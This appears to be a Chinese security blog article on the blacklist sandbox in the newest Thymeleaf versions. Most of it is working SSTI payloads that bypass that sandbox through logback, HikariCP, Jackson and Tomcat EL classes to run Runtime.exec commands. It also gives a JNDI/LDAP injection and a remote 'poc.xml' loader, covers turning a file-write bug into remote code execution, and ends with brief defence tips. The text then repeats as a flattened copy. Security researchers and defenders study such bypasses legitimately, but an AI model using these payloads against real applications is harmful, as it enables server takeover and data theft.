最新版本thymeleaf防护机制研究及其利用payload
字数 1497 2025-08-22 22:47:39

Thymeleaf 防护机制研究及利用 Payload 分析

1. Thymeleaf 模板引擎安全背景

Thymeleaf 是 Java 的一个模板引擎,在 Web 安全领域已有较多研究。模板引擎本身设计用于在渲染 HTML 标签时执行代码,因此各模板引擎都实施了安全限制措施。Thymeleaf 主要采用黑名单机制而非白名单来限制危险操作。

2. Thymeleaf 沙箱防护机制分析

2.1 防护机制核心

Thymeleaf 的防护逻辑主要集中在 org.thymeleaf.util.ExpressionUtils#isTypeAllowed 方法中,该方法通过以下步骤进行安全检查:

  1. 包名规范化:首先对要执行的类包名进行规范化处理
  2. 黑名单检查:调用 isTypeBlockedForTypeReference 方法进行黑名单验证

2.2 黑名单规则详解

Thymeleaf 的黑名单分为两部分:

2.2.1 主要黑名单 (isTypeBlockedForAllPurposes)

  • 包名前缀规则

    • c, j, o, s 开头的包可以直接通过
    • com.sun. 开头的包会被拦截
  • Java 包规则

    • java. 开头的包中,只有 java.time 可以通过,其他都会被拦截
  • 完整黑名单列表

    "jakarta."
    "org.xml.sax."
    "sun."
    "org.ietf.jgss."
    "javax."
    "org.omg."
    "com.sun."
    "org.w3c.dom."
    "jdk."
    "java."
    

2.2.2 次要黑名单

  • 包名前缀规则

    • c, n, j, o 开头的包可以通过
    • com.squareup.javapoet. 会被拦截
  • 完整黑名单列表

    "com.squareup.javapoet."
    "net.bytebuddy."
    "net.sf.cglib."
    "javassist."
    "javax0.geci."
    "org.apache.bcel."
    "org.aspectj."
    "org.javassist."
    "org.mockito."
    "org.objectweb.asm."
    "org.objenesis."
    "org.springframework.aot."
    "org.springframework.asm."
    "org.springframework.cglib."
    "org.springframework.javapoet."
    "org.springframework.objenesis."
    "org.springframework.web."
    "org.springframework.webflow."
    "org.springframework.context."
    "org.springframework.beans."
    "org.springframework.aspects."
    "org.springframework.aop."
    "org.springframework.expression."
    "org.springframework.util."
    

3. 绕过防护的 Payload 分析

3.1 使用 logback-core 的 OptionHelper

依赖:Spring 默认引入 logback-core

Payload

[[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName(
    "org.springframework.expression.spel.standard.SpelExpressionParser",
    "".getClass().getSuperclass(),
    T(ch.qos.logback.core.util.OptionHelper).getClassLoader()
).parseExpression(
    "T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('whoami')"
).getValue()}]]

原理

  • 使用 OptionHelper.instantiateByClassName 静态方法实例化 SpelExpressionParser
  • 然后调用 parseExpression 执行任意 SPEL 表达式

3.2 使用 HikariCP 的 HikariConfig

依赖:HikariCP JDBC 连接池

Payload (JNDI 注入)

[[${New com.zaxxer.hikari.HikariConfig().setMetricRegistry("ldap://127.0.0.1:1389")}]]

Payload (远程加载 XML)

[[${T(com.zaxxer.hikari.util.UtilityElf).createInstance(
    "org.springframework.context.support.ClassPathXmlApplicationContext",
    "".getClass().forName("org.springframework.context.support.ClassPathXmlApplicationContext"),
    "http://ip/poc.xml"
)}]]

Payload (EL 表达式执行)

[[${T(org.apache.tomcat.util.IntrospectionUtils).callMethodN(
    T(com.zaxxer.hikari.util.UtilityElf).createInstance(
        'jakarta.el.ELProcessor',
        T(ch.qos.logback.core.util.Loader).loadClass('jakarta.el.ELProcessor')
    ),
    'eval',
    new java.lang.String[]{
        '"".getClass().forName("jdk.jshell.JShell").getMethods()[6].invoke(
            "".getClass().forName("jdk.jshell.JShell")
        ).eval("java.lang.Runtime.getRuntime().exec(\"calc\")")'
    },
    T(org.apache.el.util.ReflectionUtil).toTypeArray(new java.lang.String[]{"java.lang.String"})
)}]]

3.3 使用 Jackson 的 ClassUtil

依赖:Jackson 数据绑定库

Payload

[[${T(com.fasterxml.jackson.databind.util.ClassUtil).createInstance(
    "".getClass().forName('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser'),
    true
).parseExpression(
    "T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')"
).getValue()}]]

原理

  • 使用 ClassUtil.createInstance 方法实例化 SpelExpressionParser
  • 然后调用 parseExpression 执行任意 SPEL 表达式

4. 利用场景分析

4.1 文件写入漏洞升级为 RCE

在以下场景中,Thymeleaf 模板注入特别有用:

  1. 任意文件写入/上传漏洞

    • 相比写入定时任务或 SSH 公钥,模板注入更通用
    • 不受进程权限限制
    • 对脏字符容忍度高
  2. 限制条件

    • 在 JAR 打包场景下效果有限,除非能找到任意文件包含漏洞

4.2 其他触发模式

虽然存在多种 Thymeleaf SSTI 触发模式,但最终问题都转化为如何实现 Thymeleaf RCE。

5. 防御建议

  1. 输入验证:严格验证用户输入的模板内容
  2. 依赖管理:及时更新相关依赖库
  3. 权限控制:限制模板引擎的执行权限
  4. 日志监控:监控可疑的模板渲染行为

6. 研究价值

从黑名单中可以学习到一些恶意类,这对挖掘其他组件的漏洞也有帮助。研究这些绕过技术有助于完善防护措施。

Thymeleaf 防护机制研究及利用 Payload 分析 1. Thymeleaf 模板引擎安全背景 Thymeleaf 是 Java 的一个模板引擎,在 Web 安全领域已有较多研究。模板引擎本身设计用于在渲染 HTML 标签时执行代码,因此各模板引擎都实施了安全限制措施。Thymeleaf 主要采用黑名单机制而非白名单来限制危险操作。 2. Thymeleaf 沙箱防护机制分析 2.1 防护机制核心 Thymeleaf 的防护逻辑主要集中在 org.thymeleaf.util.ExpressionUtils#isTypeAllowed 方法中,该方法通过以下步骤进行安全检查: 包名规范化 :首先对要执行的类包名进行规范化处理 黑名单检查 :调用 isTypeBlockedForTypeReference 方法进行黑名单验证 2.2 黑名单规则详解 Thymeleaf 的黑名单分为两部分: 2.2.1 主要黑名单 ( isTypeBlockedForAllPurposes ) 包名前缀规则 : 非 c , j , o , s 开头的包可以直接通过 com.sun. 开头的包会被拦截 Java 包规则 : java. 开头的包中,只有 java.time 可以通过,其他都会被拦截 完整黑名单列表 : 2.2.2 次要黑名单 包名前缀规则 : 非 c , n , j , o 开头的包可以通过 com.squareup.javapoet. 会被拦截 完整黑名单列表 : 3. 绕过防护的 Payload 分析 3.1 使用 logback-core 的 OptionHelper 依赖 :Spring 默认引入 logback-core Payload : 原理 : 使用 OptionHelper.instantiateByClassName 静态方法实例化 SpelExpressionParser 然后调用 parseExpression 执行任意 SPEL 表达式 3.2 使用 HikariCP 的 HikariConfig 依赖 :HikariCP JDBC 连接池 Payload (JNDI 注入) : Payload (远程加载 XML) : Payload (EL 表达式执行) : 3.3 使用 Jackson 的 ClassUtil 依赖 :Jackson 数据绑定库 Payload : 原理 : 使用 ClassUtil.createInstance 方法实例化 SpelExpressionParser 然后调用 parseExpression 执行任意 SPEL 表达式 4. 利用场景分析 4.1 文件写入漏洞升级为 RCE 在以下场景中,Thymeleaf 模板注入特别有用: 任意文件写入/上传漏洞 : 相比写入定时任务或 SSH 公钥,模板注入更通用 不受进程权限限制 对脏字符容忍度高 限制条件 : 在 JAR 打包场景下效果有限,除非能找到任意文件包含漏洞 4.2 其他触发模式 虽然存在多种 Thymeleaf SSTI 触发模式,但最终问题都转化为如何实现 Thymeleaf RCE。 5. 防御建议 输入验证 :严格验证用户输入的模板内容 依赖管理 :及时更新相关依赖库 权限控制 :限制模板引擎的执行权限 日志监控 :监控可疑的模板渲染行为 6. 研究价值 从黑名单中可以学习到一些恶意类,这对挖掘其他组件的漏洞也有帮助。研究这些绕过技术有助于完善防护措施。